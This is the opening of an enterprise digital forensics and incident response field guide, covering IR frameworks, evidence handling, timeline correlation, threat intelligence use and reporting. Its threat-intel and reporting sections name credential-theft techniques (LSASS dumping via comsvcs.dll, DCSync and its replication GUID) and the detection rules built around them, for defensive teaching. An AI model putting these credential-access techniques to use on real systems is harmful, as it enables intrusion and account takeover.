

Enterprise DFIR Field Guide

**Windows Endpoints, Memory, Active Directory, and Hybrid/
Cloud Identity**

Contents

1. Enterprise DFIR Field Guide	4
1.1 How this guide is organized	4
1.2 Scope	4
1.3 The modules	4
1.4 A note on sources	5
2. Foundations	6
2.1 Module 0: Foundations	6
2.2 The Incident Response Lifecycle	7
2.3 Order of Volatility	9
2.4 MITRE ATT&CK Primer	11
2.5 The Pyramid of Pain	12
2.6 The Diamond Model of Intrusion Analysis	13
2.7 Evidence Handling & Chain of Custody — for Enterprise IR	14
2.8 Timeline Construction & Correlation	16
2.9 Operationalizing Threat Intelligence	19
2.10 ATT&CK Coverage Map	21
2.11 Reporting & Communication	24
3. Windows Memory Forensics	27
3.1 Module 3: Windows Memory Forensics	27
3.2 Memory Acquisition	28
3.3 Process Analysis: Finding What's Hidden	30
3.4 EPROCESS Internals	32
3.5 Finding Injected Code: malfind, ldrmodules, vadinfo	34
3.6 Injection Techniques: What Each Looks Like in Memory	36
3.7 Thread Analysis	38
3.8 Mutex (Mutant) Analysis	40
3.9 LSASS Memory Analysis & Credential Theft	42
3.10 Network Artifacts in Memory	44
3.11 Malware Triage Methodology	45
4. PowerShell Forensics	47
4.1 Module 4: PowerShell Forensics	47
4.2 PowerShell Forensics: Logging	48
4.3 PowerShell Forensics: Obfuscation & Decoding	50
4.4 PowerShell Forensics: Evasion Detection	53
4.5 PowerShell Forensics: Malicious Cmdlet Patterns	55

5. Cloud Identity (Entra ID / Hybrid)	57
5.1 Module 6: Cloud Identity (Entra ID / Hybrid)	57
5.2 Sign-In Logs vs. Audit Logs (and the Retention Trap Between Them)	59
5.3 Conditional Access in an Investigation	61
5.4 Identity Protection Risk Signals	62
5.5 Hybrid Sync Mechanics	64
5.6 The Entra Connect Server: A Target in Its Own Right	65
6. Anti-Forensics & Data Recovery	67
6.1 Anti-Forensics & Data Recovery	67
6.2 File Carving	69
6.3 Alternate Data Streams (ADS)	71
6.4 Log & Artifact Recovery	73
6.5 Volume Shadow Copy Recovery	75
6.6 Memory-Based File Recovery	77
7. Investigation Playbooks	79
7.1 Module 8: Investigation Playbooks	79
7.2 Playbook: Business Email Compromise (BEC)	80
7.3 Playbook: Domain Compromise / Lateral Movement	82
7.4 Playbook: Ransomware	84
7.5 Playbook: Insider Threat	86
7.6 Playbook: Data Exfiltration	88
7.7 Playbook: Phishing (Initial Access)	90
7.8 Playbook: Web Shell / Server Compromise	92
8. Glossary	94
8.1 Referenced From	95

1. Enterprise DFIR Field Guide

An interactive, data-driven reference for enterprise digital forensics and incident response — built for defenders working across Windows endpoints, memory, Active Directory, and hybrid/cloud identity.

This is not written for criminal-prosecution workflows. It's built for the SOC analyst, incident responder, and threat hunter who needs to answer one question fast: **is this normal, or is this an incident?**

1.1 How this guide is organized

Three layers, built to work together:

Knowledge Base (Modules 0–7) — one canonical page per artifact, log source, or mechanism. Each page follows the same shape: what it is, what normal looks like, what a red flag looks like, how to collect it, and how it maps to [MITRE ATT&CK](#).

Case Studies — full, narrated investigations showing the reasoning *between* the reference pages: why one finding sends you to check a specific next thing, how you catch a timestamp lying to you, how much corroboration is actually enough. The Knowledge Base teaches recognition; these teach synthesis.

Investigation Playbooks (Module 8) — scenario-driven workflows (Business Email Compromise, ransomware, insider threat, domain compromise, data exfiltration...) that link into the Knowledge Base rather than repeating it.

New to DFIR? Start at [Module 0: Foundations](#) — everything downstream assumes the vocabulary and frameworks introduced there, including [Timeline Construction & Correlation](#), which the Case Studies lean on directly.

Already investigating something specific? Jump straight to the relevant page in [Investigation Playbooks](#).

1.2 Scope

In scope	Not covered here
Windows workstations, laptops, servers, VMs	macOS / Linux endpoint forensics
Active Directory & Domain Controllers	Non-Microsoft cloud (AWS/GCP) IAM forensics
Windows memory forensics	Mobile device forensics
Entra ID, hybrid identity, Microsoft 365	Network packet-level forensics (see SANS FOR572)
Microsoft Defender suite (AV through XDR)	Legal / chain-of-custody procedure for litigation

1.3 The modules

1. [Foundations](#) — methodology and shared frameworks
2. [Windows Endpoint Forensics](#) — filesystem, registry, event logs, process trees
3. [Active Directory & Domain Controllers](#)
4. [Windows Memory Forensics](#)
5. [PowerShell Forensics](#) — logging, obfuscation, decoding, fileless execution
6. [Persistence Catalog](#) — every mechanism, endpoint and cloud, ATT&CK-tagged
7. [Cloud Identity \(Entra ID / Hybrid\)](#)
8. [Microsoft Defender Suite for IR](#)
9. [Network & Perimeter Log Analysis](#) — DNS and proxy/firewall log triage (not full packet forensics — that's out of scope by design)
10. [Anti-Forensics & Data Recovery](#) — what attackers do to destroy or hide evidence, and what's still recoverable anyway

- 11. [Case Studies](#) — full narrated investigations connecting the dots across modules
- 12. [Investigation Playbooks](#) — the scenario layer
- 13. [Practice Drills](#) — hands-on exercises with simulated data, answers included

Two standing references, useful throughout rather than tied to one module: the [Windows IR Quick Reference](#) (a single dense page for an active incident) and the [Glossary](#).

1.4 A note on sources

Every page here is original writing, built from the facts, structures, and taxonomies published by SANS (course material and posters), Microsoft Learn/MSTIC, and the wider DFIR community (including practitioners like 13cubed). Nothing is reproduced verbatim — each page links to primary sources for readers who want the original.

🕒 August 3, 2026

2. Foundations

Foundations T1547.001

2.1 Module 0: Foundations

Before touching a single artifact, every investigator needs shared vocabulary and shared frameworks. This module is short by design — six ideas, each of which gets used constantly in every module that follows.

Page	What it gives you
IR Lifecycle	The phases every incident moves through, and why "lessons learned" is a phase, not an afterthought
Order of Volatility	Why you image memory before disk, and disk before network logs
MITRE ATT&CK Primer	The tagging system used on every artifact and persistence page in this guide
Pyramid of Pain	Why hunting for behaviors beats hunting for IOCs
Diamond Model	A four-part frame for structuring what you know about an intrusion
Evidence Handling & Chain of Custody	What rigor looks like when the goal is containment and recovery, not court
Timeline Construction & Correlation	How to turn several individually-suspicious findings into one defensible, correctly-ordered story — clock skew, ingestion latency, and the <code>plaso</code> workflow
Operationalizing Threat Intelligence	Turning an intel report's IOCs and TTPs into actual hunts and standing detections, not just a blocklist
ATT&CK Coverage Map	Every tactic in the Enterprise matrix, mapped to what this guide covers — and an honest list of what it doesn't yet
Reporting & Communication	How to turn a confirmed finding into a report that satisfies both a technical reviewer and an executive decision-maker — from the same facts

 **How to use this module**

Skim it once end to end, then treat it as a reference. When a later page says "tagged T1547.001" or "this is a Pyramid-of-Pain TTP-level detection," come back here if the shorthand doesn't click yet.

2.1.1 Referenced From

- [Enterprise DFIR Field Guide](#)

 August 3, 2026

Foundations

2.2 The Incident Response Lifecycle

Two frameworks describe the same underlying process. You'll see both cited in the field — know them as synonyms, not competitors.

2.2.1 NIST SP 800-61: four phases

NIST's Computer Security Incident Handling Guide (SP 800-61 Rev. 2) defines four phases, drawn as a cycle rather than a line because the last phase feeds back into the first:

flowchart LR

```
A["1. Preparation"] --> B["2. Detection & Analysis"]
B --> C["3. Containment, Eradication & Recovery"]
C --> D["4. Post-Incident Activity"]
D -- feeds back into --> A
```

- **Preparation** — everything done *before* an incident: logging enabled and shipped somewhere durable, EDR deployed, an IR plan written and rehearsed, contact lists current, jump-bag tooling ready.
- **Detection & Analysis** — the phase this entire guide mostly lives in: recognizing that something happened, scoping what, and confirming it isn't a false positive.
- **Containment, Eradication & Recovery** — stopping the bleeding (isolate a host, disable an account, block a domain), removing the cause (kill persistence, rebuild a host), and returning to normal operations.
- **Post-Incident Activity** — the retrospective: what worked, what didn't, what should change in Preparation next time. Skipping this is the single most common reason organizations relearn the same lesson twice.

2.2.2 SANS PICERL: six phases

SANS teaches a six-phase model that is really the same lifecycle with Containment/Eradication/Recovery split apart, because in practice they are distinct decisions with different urgency:

PICERL phase	Roughly maps to NIST phase	Core question
Preparation	Preparation	Are we ready before anything happens?
Identification	Detection & Analysis	Did something actually happen?
Containment	Containment/Eradication/Recovery	How do we stop it from getting worse <i>right now</i> ?
Eradication	Containment/Eradication/Recovery	How do we remove the attacker's access and tooling completely?
Recovery	Containment/Eradication/Recovery	How do we safely return to normal operations?
Lessons Learned	Post-Incident Activity	What changes so this doesn't happen the same way twice?

2.2.3 Why the split matters in practice

Treating Containment, Eradication, and Recovery as one blurred step is how organizations contain an incident, declare victory, and get re-compromised through the same persistence mechanism a week later. A concrete example: disabling a compromised account (**containment**) is not the same action as revoking its tokens and resetting hybrid credentials twice (**eradication**), which is not the same action as re-enabling access with monitoring in place (**recovery**). Every playbook in [Module 8](#) keeps these as separate, explicit steps.

 Baseline habit

Before closing an incident, walk through all six PICERL phases by name and confirm each one actually happened — not just that the immediate symptom stopped.

2.2.4 Referenced From

- [Module 0: Foundations](#)
- [Playbook: Business Email Compromise \(BEC\)](#)
- [Playbook: Data Exfiltration](#)
- [Playbook: Domain Compromise / Lateral Movement](#)
- [Module 8: Investigation Playbooks](#)
- [Playbook: Ransomware](#)
- [Playbook: Web Shell / Server Compromise](#)
- [Glossary](#)

2.2.5 Sources

- NIST SP 800-61 Rev. 2, *Computer Security Incident Handling Guide*
- [SANS FOR508: Advanced Incident Response, Threat Hunting, and Digital Forensics](#)

 August 3, 2026

Foundations

2.3 Order of Volatility

The principle, defined in [RFC 3227](#), is simple: collect evidence starting with what disappears fastest. Get the acquisition order wrong and you can permanently lose the exact data that would have explained the incident.

2.3.1 The ordering

Tier	Evidence	Rough lifespan
1 (most volatile)	CPU registers, cache	Nanoseconds
2	Routing table, ARP cache, process table, kernel statistics, RAM	Until reboot or power loss
3	Temporary file systems, swap/page file	Minutes to hours
4	Disk (the filesystem itself)	Until overwritten
5	Remote logging and monitoring data related to the target system	Governed by log retention policy
6	Physical configuration, network topology	Until changed
7 (least volatile)	Archival media, backups	Years

2.3.2 What this actually drives, in this guide

- **Memory before disk, always, on a live compromised host.** A malicious PowerShell payload that only ever existed inside a `powershell.exe` process's memory (see [Module 4](#)) is gone the moment that process exits or the box reboots — before that happens is the only window to capture it.
- **Don't run extra tools on a host before imaging it, if you can avoid it.** Every process you launch to "check something" allocates memory, evicts cache, and can overwrite the exact volatile evidence you're trying to preserve — forensic tooling itself has a footprint.
- **Log retention windows are a volatility tier, not an afterthought.** A sign-in log aging out of Microsoft Purview at a fixed retention period is functionally the same problem as RAM clearing on reboot — the data disappears on a timer regardless of whether you were ready. See [Module 6](#) for current Entra ID/Purview retention specifics.

✓ Baseline habit

Before touching a live host, ask: "What's the most volatile evidence I still need, and have I captured it yet?" Then work down the table in order.

2.3.3 Referenced From

- [Module 0: Foundations](#)
- [Memory Acquisition](#)
- [Module 3: Windows Memory Forensics](#)
- [Memory-Based File Recovery](#)

2.3.4 Sources

- RFC 3227, *Guidelines for Evidence Collection and Archiving*
- [SANS FOR508: Advanced Incident Response, Threat Hunting, and Digital Forensics](#) — live-response methodology

🕒 August 3, 2026

2.4 MITRE ATT&CK Primer

[MITRE ATT&CK](#) is a knowledge base of adversary behavior built from real-world observed intrusions. This guide uses it as its tagging system: every persistence mechanism, and most artifact and playbook pages, carry an ATT&CK ID so you can pivot straight to MITRE's own detection and mitigation guidance.

2.4.1 The hierarchy

flowchart TD

```
Tac["Tactic - the WHY <br/> e.g. Persistence (TA0003)"]
Tech["Technique - the HOW <br/> e.g. Boot or Logon Autostart Execution (T1547)"]
Sub["Sub-technique - the SPECIFIC HOW <br/> e.g. Registry Run Keys (T1547.001)"]
Tac --> Tech
Tech --> Sub
```

- **Tactics** answer *why* an adversary is doing something. Enterprise ATT&CK defines 14: Reconnaissance, Resource Development, Initial Access, Execution, Persistence, Privilege Escalation, Defense Evasion, Credential Access, Discovery, Lateral Movement, Collection, Command and Control, Exfiltration, and Impact.
- **Techniques** (and **sub-techniques**) answer *how*. A Persistence tactic can be achieved via dozens of techniques — a Registry Run key, a Scheduled Task, a malicious service, a WMI event subscription — each with its own ID, such as [T1547.001](#).

2.4.2 How IDs are used in this guide

Every entry in the [Persistence Catalog](#) is tagged with its sub-technique ID. This does two things: it gives you a stable identifier to search on (in Sentinel, in a SIEM, in a ticket), and it means you can pivot to MITRE's own page for detection data sources and mitigations without this guide needing to duplicate that content.



Read technique IDs as a lookup key, not trivia

You don't need to memorize IDs. Treat [T1547.001](#) the way you'd treat a CVE number — a stable reference you look up when you need it.

2.4.3 Referenced From

- [Module 0: Foundations](#)
- [Operationalizing Threat Intelligence](#)
- [Malware Triage Methodology](#)
- [Glossary](#)
- [Enterprise DFIR Field Guide](#)

2.4.4 Sources

- [MITRE ATT&CK for Enterprise](#)

August 3, 2026

Foundations

2.5 The Pyramid of Pain

Developed by David Bianco, the Pyramid of Pain ranks indicator types by how much it costs an adversary when you detect on them — not by how easy the indicator is for *you* to collect.

Level (bottom → top)	Indicator	Cost to the adversary if you detect on it
1	Hash values	Trivial — recompile and the hash changes
2	IP addresses	Easy — spin up new infrastructure
3	Domain names	Mildly annoying — needs a new registration
4	Network/host artifacts	Annoying — has to rebuild tooling behavior
5	Tools	Real cost — has to find or write a new tool
6 (top)	TTPs (Tactics, Techniques, Procedures)	Painful — has to change <i>how they operate</i> , not just <i>what they use</i>

2.5.1 Why this belongs in Foundations

Every artifact page and persistence entry in this guide is written to support detection as high on the pyramid as possible. A hash-based rule for "known-bad mimikatz.exe" is trivially defeated by recompiling. A behavioral rule for "LSASS opened with read-memory access by a non-standard parent process" is a TTP-level detection — it forces the adversary to fundamentally change their credential-access approach, not just swap a file.

This is also why [Module 5](#) tags every persistence mechanism by ATT&CK technique rather than by known-malware-family name: technique-level detection survives tool churn.

✓ How to apply it while hunting

When you find an indicator, ask where it sits on the pyramid before you write a detection rule around it. A rule at the hash/IP level needs constant feeding. A rule at the TTP level, once built, keeps working against variants you haven't seen yet.

2.5.2 Referenced From

- [Module 0: Foundations](#)
- [Operationalizing Threat Intelligence](#)
- [Glossary](#)

2.5.3 Sources

- David J. Bianco, *The Pyramid of Pain* — originally published on his blog, *Enterprise Detection & Response*
- SANS FOR508 threat-hunting methodology

🕒 August 3, 2026

Foundations

2.6 The Diamond Model of Intrusion Analysis

Developed by Caltagirone, Pendergast, and Betz, the Diamond Model gives you a minimal, consistent frame for describing any single malicious event: four core features connected in a diamond, because each one is directly related to the other three.

```
flowchart TD
    Adversary((Adversary))
    Capability((Capability))
    Infrastructure((Infrastructure))
    Victim((Victim))
    Adversary --- Capability
    Adversary --- Infrastructure
    Victim --- Capability
    Victim --- Infrastructure
    Capability --- Infrastructure
```

- **Adversary** — who's doing this (an individual, group, or organization — often unknown early on, and that's fine)
- **Capability** — the tools and techniques used (malware, an exploit, a phishing kit, a living-off-the-land technique)
- **Infrastructure** — the physical/logical means used to deliver capability or maintain control (C2 domains, IPs, compromised relay hosts, mailboxes)
- **Victim** — the target (an organization, a system, a person, an asset)

Around the core diamond, six meta-features add context to each event: **timestamp**, **phase** (where it sits in the kill chain), **result**, **direction** (e.g., victim-to-infrastructure), **methodology** (e.g., phishing, DDoS), and **resources** (what the adversary needed to pull it off).

2.6.1 Why it earns a page in a Windows-focused guide

Individual artifact pages in this guide tell you *what happened on one host*. The Diamond Model is how you connect several of those events into a coherent narrative: this Prefetch entry (Capability) executed from this compromised account (Victim/Adversary access), reaching out to this C2 domain (Infrastructure). Use it to structure investigation notes and incident write-ups so the next analyst — or your future self — can reconstruct the reasoning, not just the raw findings.

2.6.2 Referenced From

- [Module 0: Foundations](#)
- [Reporting & Communication](#)
- [Timeline Construction & Correlation](#)

2.6.3 Sources

- Caltagirone, Pendergast, and Betz, *The Diamond Model of Intrusion Analysis* (2013)

Foundations

2.7 Evidence Handling & Chain of Custody — for Enterprise IR

This guide is written for enterprise defenders, not criminal prosecution — but "we're not going to court" is not the same as "rigor doesn't matter." Three other things routinely depend on the same discipline: cyber-insurance claims, regulatory/breach-notification obligations, and the possibility that today's internal incident becomes tomorrow's civil litigation or law-enforcement referral, at which point sloppy handling from day one can't be fixed retroactively.

2.7.1 The core principles, adapted for speed

- **Minimize contamination.** Prefer read-only/forensic-copy analysis over touching production originals wherever timelines allow. When you must act on a live host (kill a process, isolate a NIC), do it deliberately and log exactly what you did and when.
- **Hash before you analyze.** Take a SHA-256 of any acquired image or exported log file before working with it. It costs seconds and gives you — and anyone who reviews your work later — proof the evidence wasn't altered in transit.
- **Log the who/what/when of every action.** Every command run against a subject system, every export pulled, every account disabled — timestamped, with the analyst's name attached. In a hybrid/cloud investigation this often means keeping your own IR timeline alongside the platform's own audit log, since your own containment actions (like revoking a session) are themselves recorded in [Entra ID's audit log](#) — cross-reference the two.
- **Preserve before you remediate, where the two conflict.** If eradicating a threat (rebuilding a host, resetting a credential) will destroy evidence you haven't yet captured, capture first — unless active, ongoing harm makes that unsafe to wait for.

2.7.2 Where enterprise IR rigor differs from a criminal-forensics standard

Criminal/legal forensics	Enterprise IR (this guide's default)
Strict, unbroken chain-of-custody forms for every artifact, built for admissibility	A clear, timestamped internal record — built for defensibility to your own leadership, insurer, or regulator, not a courtroom
Bit-for-bit forensic images as the default, before any other action	Live triage collection is often correct first, given business-continuity pressure — full imaging follows if scope demands it
Containment often waits for evidence preservation	Containment often <i>leads</i> , because stopping active damage outweighs preserving a perfect record, and most incidents never end up in court

If your organization's specific situation changes this calculus (regulated industry, active litigation hold, law-enforcement involvement), loop in legal counsel early — the threshold for formal chain-of-custody can shift mid-investigation, and it's far easier to have been rigorous from the start than to reconstruct rigor after the fact.

✓ Baseline habit

Keep a running, timestamped analyst log from the moment you're engaged — even a plain text file. It's the cheapest insurance policy in the entire incident.

2.7.3 Referenced From

- [Module 0: Foundations](#)
- [Timeline Construction & Correlation](#)
- [Memory Acquisition](#)
- [Playbook: Insider Threat](#)

2.7.4 Sources

- SANS FOR500 / FOR508 evidence-handling modules
- NIST SP 800-86, *Guide to Integrating Forensic Techniques into Incident Response*

🕒 August 3, 2026

Foundations

2.8 Timeline Construction & Correlation

Every other page in this guide teaches recognition — here's an artifact, here's what normal looks like, here's the red flag. This page is different: it's about what happens *after* you've found several individually-suspicious things and need to turn them into one defensible story of what happened, in order, across multiple hosts and multiple log sources that don't share a clock, a timezone, or even a timestamp format.

This is the actual daily mechanic of an investigation, and it's worth being explicit about because it's where good analysis and wrong conclusions both come from the same instinct: lining timestamps up and trusting what you see.

2.8.1 Why raw timestamps don't just line up

Three separate problems, and they compound:

- **Different formats.** [\\$MFT](#) and [Prefetch](#) store Windows FILETIME (100-nanosecond intervals since January 1, 1601 UTC — always UTC internally, regardless of what a viewer displays). Event logs display in whatever timezone the *viewing* tool or workstation is configured for, not necessarily the timezone the event actually happened in. Cloud logs (Entra sign-in logs, the Unified Audit Log) are UTC by convention but formatted differently depending on which API or portal you pulled them from.
- **Clock skew.** A host's local clock can simply be wrong — NTP sync silently failing, a stale CMOS battery, a misconfigured timezone — and every timestamp that host generates locally (Prefetch, its own Event Log, Sysmon) inherits that error. This is *not* rare, and it doesn't announce itself.
- **Ingestion latency.** Some sources don't even timestamp *arrival* the same as *occurrence*. The Purview Unified Audit Log is the sharpest example in this guide's scope — see [Sign-In Logs vs. Audit Logs](#) — where an event that already happened may simply not be queryable yet.

None of these are exotic edge cases. Assume all three are in play on every multi-source investigation until you've specifically checked otherwise.

2.8.2 Establishing — and correcting for — clock skew

You can't take a host's word for its own clock. What you can do is find an event that got recorded **independently, by two systems with different clocks**, and compare.

The classic anchor: a network connection. A host's local Sysmon Event ID 3 records a connection at the host's own (possibly wrong) time. A centrally-logged, NTP-synced firewall or proxy sees the *same* connection (matching source IP, destination, port, and a timestamp within a plausible margin) and logs it at the *correct* time. The difference between the two is your skew, in both magnitude and direction.

```
Host-local timestamp for the connection: 03:15:38
Firewall/proxy timestamp, same connection: 03:01:38
Skew: host clock is 14 minutes FAST
```

Once you know the skew, apply it to **every timestamp that host generated locally** before comparing it against anything else — not just the one event you happened to check. A single correction event calibrates the whole host's local timeline.

Red flag, and a trap

Skipping this step doesn't just add imprecision — it can change the *interpretation* of an attack. A short, tight gap between two events might look like scripted, automated attacker tooling; correct for a clock running fast and the same two events might be sixteen minutes apart, consistent with a human operator working manually through each step. Those two conclusions point investigators toward different threat models entirely.

2.8.3 Building a super timeline

Once individual sources are normalized, the standard tool for merging them into one sorted view is `log2timeline/plaso` (actively maintained — SANS FOR508's standard timelining tool). The workflow has three stages, mirrored by plaso's three command-line tools:

1. **Extract** — `log2timeline.py` parses each source (filesystem, registry hives, event logs, browser history, and — usefully for this guide — it can ingest a `mactime`-format body file directly from `MFTECmd` output) into one `.plaso` storage file.
2. **Verify** — `pinfo.py` reports what was actually collected, so you know the merged timeline's coverage before trusting gaps in it.
3. **Sort, filter, and export** — `psort.py` produces the final human-readable timeline, filtered to a time window and normalized to a single timezone:

```
psort.py --output-time-zone 'UTC' -o l2tcsv -w supertimeline.csv out.plaso \
"date > datetime('2026-01-01T00:00:00') AND date < datetime('2026-01-02T00:00:00')"
```

`--output-time-zone 'UTC'` is the practical version of "normalize everything" from earlier on this page — it's the single flag doing that work. For collaborative, multi-analyst work at scale, [Timesketch](#) provides a shared front-end over the same plaso output.

2.8.4 Reading a super timeline without drowning in it

A raw super timeline from even a single host is enormous — most of it routine. Three habits keep it usable:

- **Filter to a window before you filter by content.** Establish the incident's rough boundaries first (from your highest-confidence artifact — an alert timestamp, a known-bad file's creation time), then narrow. Filtering by keyword across the *entire* uncapped timeline buries the signal in volume.
- **Tag as you go.** Mark confirmed-relevant events distinctly from "still investigating" ones — a timeline you've partially triaged is a different, more useful object than the raw output.
- **Anchor on your highest-confidence timestamp and work outward.** A DCSync alert timestamp (Defender for Identity, [DCSync Detection](#)) is high-confidence — it's generated by the DC observing the replication request directly. A Prefetch last-run time is lower-confidence on its own — it only proves execution happened *at some point*, with weaker precision. Build outward from strong anchors, not from whichever artifact you happened to find first.

2.8.5 How much correlation is enough

A single artifact is a lead, not a conclusion — this point already appears throughout this guide's artifact pages ([Amcache](#) says it explicitly), but it's worth stating as a general principle here: **treat any single-source finding as provisional until a second, independently-generated source agrees with it.** "Independently-generated" is the operative phrase — two entries in the same log file corroborating each other is much weaker than a host-side artifact and a network-side log agreeing, because a single compromised or misconfigured source can be wrong in ways that repeat within itself but won't coincidentally match an unrelated system.

This is also where a timeline earns its keep as evidence, not just as an organizational tool: an incident write-up built on "these five things happened, in this order, corroborated across independent sources" is a fundamentally stronger document than a list of red flags in no particular sequence — and it's what the [Diamond Model](#) and [Evidence Handling](#) pages both assume you're capable of producing.

2.8.6 Referenced From

- [Module 0: Foundations](#)
- [Reporting & Communication](#)
- [Operationalizing Threat Intelligence](#)
- [Volume Shadow Copy Recovery](#)
- [Glossary](#)
- [Enterprise DFIR Field Guide](#)

2.8.7 Sources

- [Plaso / log2timeline documentation](#) and project repository
- [SANS Digital Forensics Certifications overview](#) (FOR508 — timeline analysis is a core module)
- [Timesketch](#) — collaborative timeline analysis front-end

🕒 August 3, 2026

Foundations

2.9 Operationalizing Threat Intelligence

2.9.1 The gap this closes

This guide has referenced MSTIC (Microsoft's Threat Intelligence Center) as a source since the very first page, and [MITRE ATT&CK](#) is the tagging system running through every module — but nowhere does this guide actually walk through *using* a threat intelligence report once you have one. Reading an intel report and hunting your own environment against it are different skills, and the gap between them is where a lot of genuinely good threat intelligence goes unused.

2.9.2 What a usable report actually gives you

A well-written intel report (MSTIC's own actor profiles are a good example of the genre) typically contains three tiers of information, and they translate into your environment differently:

Tier	Example	How durable it is
Indicators (IOCs)	A specific C2 domain, file hash, IP address	Least durable — per the Pyramid of Pain , trivial for the actor to change
Techniques (TTPs)	"This actor uses DCSync after initial access," mapped to an ATT&CK ID	Far more durable — changing an entire technique is expensive for an actor
Behavioral narrative	The actual sequence: initial access vector, how they escalate, what they target	Most durable of all, and the hardest to translate directly into a query

The common mistake is treating a report as only Tier 1 — extracting the IOC list, loading it into a blocklist, and calling the report "actioned." That's real value, but it's the least durable value in the document, and it's usually not what makes a good report actually good.

2.9.3 The actual workflow

- 1. Extract every ATT&CK ID the report cites.** Most quality intel reporting maps its narrative to technique IDs directly; if it doesn't, do this mapping yourself as you read.
- 2. Check each technique against what this guide (or your own detection stack) already covers.** A report citing DCSync, Kerberoasting, and a specific PowerShell obfuscation pattern maps directly onto existing pages in this guide — [DCSync Detection](#), [Kerberoasting](#), [Obfuscation & Decoding](#) — meaning the detection logic likely already exists; the work is confirming it's actually deployed and tuned, not building it from scratch.
- 3. For techniques with no existing coverage, that's your build list** — and it's a more valuable list than the IOC list, because it represents a genuine detection gap rather than a single expiring indicator.
- 4. Use the IOCs as a starting hunt, not an ending point.** Search for the specific indicators first (fast, cheap, sometimes immediately conclusive), but don't stop there — pivot from any hit into the behavioral pattern around it, using this guide's own [Timeline Construction](#) approach to build out what else happened near that indicator, not just confirm its presence.

2.9.4 A concrete example

A report states: *"The actor gains initial access via phishing, uses `comsvcs.dll` to dump LSASS, and pivots to Domain Controllers via DCSync within the same session."* Turned into action:

- IOC-level: any specific hashes/domains from the report, searched immediately.
- TTP-level: this maps directly to [LSASS Memory Analysis](#)'s `comsvcs.dll` detection and [DCSync Detection](#)'s GUID-based hunt — confirm both are actually deployed as standing detections (see [Detection Engineering](#)), not just documented as possible.
- Behavioral-level: the *speed* of the reported chain (single session, phishing to DCSync) becomes its own detection opportunity — a [correlation rule](#) alerting specifically on LSASS access followed by DCSync activity from the same host within a short window is a stronger, more specific detection than either technique alone, and it's a rule this specific report just told you is worth building.

2.9.5 Referenced From

- [Module 0: Foundations](#)

2.9.6 Sources

- [SANS Digital Forensics Certifications overview](#) (FOR508 — threat intelligence-driven hunting)
- [Pyramid of Pain](#) — the durability framing this page builds on

 August 3, 2026

[Foundations](#)[T1059.001](#)[T1059.005](#)[T1134](#)[T1566](#)

2.10 ATT&CK Coverage Map

2.10.1 What this page is for

Every persistence entry, most artifact pages, and several playbooks in this guide carry a technique ID — but nowhere is that coverage shown as a whole. This page exists specifically to make gaps visible at a glance, including this guide's own: it's an honest map, not a marketing one, and several tactics below are thin on purpose-built content, stated plainly rather than papered over with a loose cross-reference.

2.10.2 Coverage by tactic

Tactic	Covered in this guide	Notable gap
Reconnaissance (TA0043)	—	Not covered as its own topic
Resource Development (TA0042)	—	Out of scope — this is largely pre-compromise infrastructure-building activity outside what an enterprise defender directly observes
Initial Access (TA0001)	Phishing playbook (T1566); AD CS ESC8 touches NTLM-relay-based access	Web shell delivery mechanics (Web Shell playbook covers post-delivery, not the delivery vulnerability classes themselves)
Execution (TA0002)	PowerShell Forensics module (T1059.001) end to end	Non-PowerShell scripting engines (T1059.005/.007) not separately covered
Persistence (TA0003)	The Persistence Catalog — 14 entries, endpoint and cloud, this guide's deepest tactic by page count	—
Privilege Escalation (TA0004)	Kerberoasting , Golden/Silver Ticket , AD CS abuse , ACL & Delegation Abuse , AdminSDHolder	Token manipulation/impersonation (T1134) not separately covered outside the EPROCESS Token field mention
Defense Evasion (TA0005)	Timestomping , log clearing & recovery , ADS , obfuscation , AMSI/downgrade evasion , injection techniques	Signed-binary proxy execution (LOLBins beyond <code>comsvcs.dll / rundll32</code>) not covered as its own catalog
Credential Access (TA0006)	DCSync , LSASS Memory Analysis , Kerberoasting , Golden/Silver Ticket	Credential access from browsers/password managers not covered
Discovery (TA0007)	Touched inside Mutex Analysis and ACL & Delegation Abuse	Not a dedicated topic — this is a genuine gap, since discovery/enumeration activity (broad LDAP queries, network scanning) is often the loudest early signal of an attacker orienting themselves, and this guide doesn't yet treat it as its own detection category
Lateral Movement (TA0008)	Domain Compromise playbook and case study cover it narratively	Pass-the-hash/pass-the-ticket mechanics not covered as dedicated artifact pages, only referenced
Collection (TA0009)	—	Not covered as its own topic
Command and Control (TA0011)	DNS Analysis , Proxy & Firewall Triage , network artifacts in memory	C2 framework-specific signatures (Cobalt Strike, Sliver, etc. malleable-profile indicators) not covered by name
Exfiltration (TA0010)	Data Exfiltration playbook , byte-ratio analysis in Proxy & Firewall Triage	—
Impact (TA0040)	Ransomware playbook	Data destruction/defacement outside the ransomware-encryption pattern not separately covered

2.10.3 How to use this page

Before assuming a gap in your own environment's detection is a tooling problem, check whether it's actually a **coverage gap in this guide** first — several of the "Notable gap" entries above (Discovery, non-PowerShell execution, LOLBin cataloging) are genuine candidates for this guide's own next additions, not things you're necessarily missing in your own stack.

2.10.4 Referenced From

- [Module 0: Foundations](#)
- [Tags Index](#)

2.10.5 Sources

- [MITRE ATT&CK for Enterprise](#) — canonical tactic list and IDs

 August 3, 2026

2.11 Reporting & Communication

Everything else in this guide ends at the moment of understanding — you've found the artifact, built the timeline, confirmed the compromise. None of that helps the organization until it's written down in a form someone can act on. This page is about that last step, and it's treated as its own skill deliberately: technically flawless investigative work, communicated badly, gets the wrong response from leadership just as reliably as bad investigative work does.

2.11.1 Why this needs its own page

An incident report has to satisfy two readers who need almost opposite things from the same set of facts:

- A **technical reader** (another analyst, an auditor, future-you six months from now) needs enough specificity to independently verify every claim — event IDs, timestamps, exact artifact locations, the reasoning chain from evidence to conclusion.
- An **executive reader** (leadership, legal, the board) needs to understand impact and make a decision — fast, in plain language, without needing to know what a VAD tree is — and generally cannot act on a document that makes them wade through technical detail to find out what they're actually being asked to decide.

Writing one document that serves both means structuring it so each reader can get what they need without the other's needs getting in the way — not writing two unrelated documents, and not writing one watered-down document that fully serves neither.

2.11.2 The shape of a single finding

Before assembling a full report, every individual finding should be constructable in four parts, in this order:

1. **Observation** — the raw, verifiable fact. "Event ID 4662 was logged at 03:16:55 UTC on DC-01, containing GUID 1131f6ad-9c07-11d1-f79f-00c04fc2dcd2, sourced from account svc-backup."
2. **Interpretation** — what that fact means, using this guide's own reference pages as the justification. "This GUID corresponds to the Replicating Directory Changes All extended right; svc-backup is not a Domain Controller. Per [DCSync Detection](#), this is the signature of a DCSync attack."
3. **Confidence** — how sure you are, and why, per [Timeline Construction & Correlation](#)'s standard: is this corroborated by an independent source, or standing alone?
4. **Implication** — so what. What does this mean for scope, for remediation, for risk.

